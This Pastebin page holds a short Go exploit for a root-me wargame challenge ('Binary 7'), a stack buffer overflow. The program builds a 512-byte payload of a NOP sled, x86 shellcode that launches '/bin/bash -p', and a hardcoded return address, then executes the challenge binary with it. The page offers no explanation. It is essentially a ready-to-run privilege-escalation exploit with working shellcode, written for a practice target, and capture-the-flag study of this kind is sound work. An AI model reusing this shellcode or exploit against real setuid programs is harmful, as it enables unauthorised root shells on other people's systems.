xGeek

Binary 7 (root-me) - BOF

Apr 14th, 2012
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.55 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "os"
  5.     sys "syscall"
  6. )
  7.  
  8. const ret = "\x86\xfc\xff\xbf"
  9.  
  10. const shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" +
  11.     "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" +
  12.     "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" +
  13.     "\x51\x53\x89\xe1\xcd\x80"
  14.  
  15. const bufferSize = 512
  16. const NOP = "\x90"
  17. const PATH = "/wargame/binary/binary7/binary7"
  18.  
  19. func main() {
  20.     var payload string
  21.     for i := 0; i < bufferSize-len(shellcode); i++ {
  22.         payload += NOP
  23.     }
  24.     payload += shellcode
  25.     payload += ret
  26.     sys.Exec(PATH, []string{PATH, payload}, os.Environ())
  27. }
Advertisement
Add Comment
Please, Sign In to add comment